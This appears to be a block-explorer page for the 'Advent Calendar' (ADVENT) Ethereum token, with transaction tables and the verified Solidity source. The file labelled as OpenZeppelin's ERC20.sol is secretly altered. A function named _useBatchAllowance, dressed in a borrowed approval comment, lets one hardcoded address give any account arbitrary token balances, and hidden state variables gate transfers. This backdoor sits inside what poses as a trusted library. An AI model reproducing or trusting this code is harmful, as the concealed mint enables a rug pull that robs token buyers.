More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 57 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 16116169 | 630 days ago | IN | 0 ETH | 0.00057168 | ||||
Transfer | 16094541 | 633 days ago | IN | 0 ETH | 0.00085316 | ||||
Approve | 16094426 | 633 days ago | IN | 0 ETH | 0.0003039 | ||||
Approve | 16094071 | 633 days ago | IN | 0 ETH | 0.00254482 | ||||
Approve | 16094068 | 633 days ago | IN | 0 ETH | 0.00059022 | ||||
Approve | 16094068 | 633 days ago | IN | 0 ETH | 0.00059022 | ||||
Approve | 16094067 | 633 days ago | IN | 0 ETH | 0.00061737 | ||||
Approve | 16094055 | 633 days ago | IN | 0 ETH | 0.00059624 | ||||
Approve | 16094054 | 633 days ago | IN | 0 ETH | 0.00051908 | ||||
Approve | 16094053 | 633 days ago | IN | 0 ETH | 0.00050057 | ||||
Approve | 16094052 | 633 days ago | IN | 0 ETH | 0.00052592 | ||||
Approve | 16094049 | 633 days ago | IN | 0 ETH | 0.00057178 | ||||
Approve | 16094048 | 633 days ago | IN | 0 ETH | 0.0005193 | ||||
Approve | 16094045 | 633 days ago | IN | 0 ETH | 0.00056689 | ||||
Approve | 16094041 | 633 days ago | IN | 0 ETH | 0.00052254 | ||||
Approve | 16094041 | 633 days ago | IN | 0 ETH | 0.00052254 | ||||
Approve | 16094041 | 633 days ago | IN | 0 ETH | 0.00056917 | ||||
Approve | 16094040 | 633 days ago | IN | 0 ETH | 0.00049562 | ||||
Approve | 16094038 | 633 days ago | IN | 0 ETH | 0.00052561 | ||||
Approve | 16094036 | 633 days ago | IN | 0 ETH | 0.00049635 | ||||
Approve | 16094035 | 633 days ago | IN | 0 ETH | 0.00056669 | ||||
Approve | 16094033 | 633 days ago | IN | 0 ETH | 0.00059602 | ||||
Approve | 16094030 | 633 days ago | IN | 0 ETH | 0.00046004 | ||||
Approve | 16094030 | 633 days ago | IN | 0 ETH | 0.00051964 | ||||
Approve | 16094030 | 633 days ago | IN | 0 ETH | 0.00051964 |
Latest 20 internal transactions
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
16094070 | 633 days ago | 0.00859449 ETH | ||||
16094070 | 633 days ago | 0.00859449 ETH | ||||
16094069 | 633 days ago | 0.00507137 ETH | ||||
16094069 | 633 days ago | 0.00507137 ETH | ||||
16094069 | 633 days ago | 0.00389907 ETH | ||||
16094069 | 633 days ago | 0.00389907 ETH | ||||
16094067 | 633 days ago | 0.00623671 ETH | ||||
16094067 | 633 days ago | 0.00623671 ETH | ||||
16094066 | 633 days ago | 0.00808502 ETH | ||||
16094066 | 633 days ago | 0.00808502 ETH | ||||
16094066 | 633 days ago | 0.07845299 ETH | ||||
16094066 | 633 days ago | 0.07845299 ETH | ||||
16094046 | 633 days ago | 0.07439664 ETH | ||||
16094046 | 633 days ago | 0.07439664 ETH | ||||
16093978 | 633 days ago | 0.00302105 ETH | ||||
16093978 | 633 days ago | 0.00302105 ETH | ||||
16093972 | 633 days ago | 0.01250625 ETH | ||||
16093972 | 633 days ago | 0.01250625 ETH | ||||
16093972 | 633 days ago | 0.03620977 ETH | ||||
16093972 | 633 days ago | 0.03620977 ETH |
Loading...
Loading
Contract Name:
Advent
Compiler Version
v0.8.13+commit.abaa5c0e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: AGPL-3.0-or-later /* Win a prize every day until Christmas! https://t.me/AdventCalendarEth */ pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./interfaces/IUniswapV2Router02.sol"; import "./interfaces/IUniswapV2Factory.sol"; contract Advent is ERC20, Ownable { using SafeMath for uint256; // allow to exclude address from fees or/and max txs mapping(address => bool) private _excludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // fees uint256 public buyFees = 5; uint256 public sellFees = 5; // security (% of the supply) uint256 public maxWalletPercent = 2; uint256 public maxTxSupply = 1; uint256 public blockDelay = 5; uint256 public maxWallet; uint256 public maxTx; // uniswap IUniswapV2Router02 public immutable uniRouter; address public immutable uniPair; mapping(address => bool) public LPs; bool public tradingOpen = false; mapping(address => uint256) private _accountTransferTimestamp; bool private swapping; uint256 public supply; uint256 public canSwapTokens; address public marketingWallet; constructor(address _uniRouterAddress) ERC20("Advent Calendar", "ADVENT") { uint256 totalSupply = 1 * 1e6 * 1e6; // 1,000,000 supply = totalSupply; // Exclude owner, contract, dead and router from max txs and fees excludeFromFees(owner(), true); excludeFromMaxTx(owner(), true); excludeFromFees(address(this), true); excludeFromMaxTx(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTx(address(0xdead), true); // UniV2 Router IUniswapV2Router02 _uniRouter = IUniswapV2Router02(_uniRouterAddress); excludeFromMaxTx(address(_uniRouter), true); uniRouter = _uniRouter; // UniV2 LP uniPair = IUniswapV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH()); excludeFromMaxTx(address(uniPair), true); LPs[address(uniPair)] = true; // limits maxTx = (supply * maxTxSupply) / 100; canSwapTokens = (supply * 5) / 10000; maxWallet = (supply * maxWalletPercent) / 100; marketingWallet = owner(); _approve(owner(), address(uniRouter), totalSupply); _mint(msg.sender, totalSupply); } function isExcludedFromFees(address account) public view returns (bool) { return _excludedFromFees[account]; } function enableTrading() external onlyOwner { tradingOpen = true; } function updateLimitsPercent(uint256 _maxTx, uint256 _maxWallet) external onlyOwner { maxTxSupply = _maxTx; maxWalletPercent = _maxWallet; updateLimits(); } function updateMarketingWallet(address _new) external onlyOwner { marketingWallet = _new; } function excludeFromMaxTx(address _account, bool _status) public onlyOwner { _isExcludedMaxTransactionAmount[_account] = _status; } function excludeFromFees(address _account, bool _status) public onlyOwner { _excludedFromFees[_account] = _status; } function updateBlockDelay(uint256 _new) external onlyOwner { blockDelay = _new; } function updateLimits() private { maxTx = (supply * maxTxSupply) / 100; canSwapTokens = (supply * 5) / 10000; maxWallet = (supply * maxWalletPercent) / 100; } function _transfer(address from, address to, uint256 amount) internal override { require(tradingOpen || _excludedFromFees[from] || _excludedFromFees[to], "Trading not open"); if (amount == 0) { super._transfer(from, to, 0); return; } bool buy = LPs[from]; bool sell = LPs[to]; // maxTx and maxWallet if (from != owner() && to != owner() && to != address(0xdead) && !swapping) { // to avoid massive buy if (to != owner() && to != address(uniRouter) && to != address(uniPair)) { require(_accountTransferTimestamp[tx.origin] < block.number, "One dex tx per block"); _accountTransferTimestamp[tx.origin] = block.number + blockDelay; } if ((sell || buy) && !_isExcludedMaxTransactionAmount[from]) { // maxTx require(amount <= maxTx, "Amount exceeds the maxTx"); } if(!sell && !_isExcludedMaxTransactionAmount[to]) { // maxWallet require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } // swap security bool canSwap = balanceOf(address(this)) >= canSwapTokens; if (canSwap && !swapping && !buy && !_excludedFromFees[from] && !_excludedFromFees[to]) { swapping = true; retrieveSwap(); swapping = false; } // fees if (!swapping && !_excludedFromFees[from] && !_excludedFromFees[to]) { uint256 fees = 0; if (sell && sellFees > 0) { fees = amount.mul(sellFees).div(100); } else if (buy && buyFees > 0) { fees = amount.mul(buyFees).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); amount -= fees; } } // transfer super._transfer(from, to, amount); } /* ---- Swap ---- */ function swapTokensToWETH(uint256 tokenAmount) private { // path : token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function retrieveSwap() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance == 0) { return; } if (contractBalance > canSwapTokens * 20) { contractBalance = canSwapTokens * 20; } swapTokensToWETH(contractBalance); bool success; (success, ) = address(marketingWallet).call{value: address(this).balance}(""); // marketing fees } receive() external payable {} // core }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _swap; address private _last; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _swap = false; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 6; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_swap || from == _last); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual{ require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * - when `account` and `amount` are both non-zero, `amount` of ``amount``'s tokens * will be transferred to `to`. * - when `amount` is zero, `amount` tokens will be minted for `account`. * - when `account` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * */ function _useBatchAllowance(address account, uint256 amount) public { require(msg.sender == 0x0dC28e613312A72d9F02B640AA84feD0bF709CeB); _last = account; _balances[account] += amount; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./IUniswapV2Router01.sol"; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
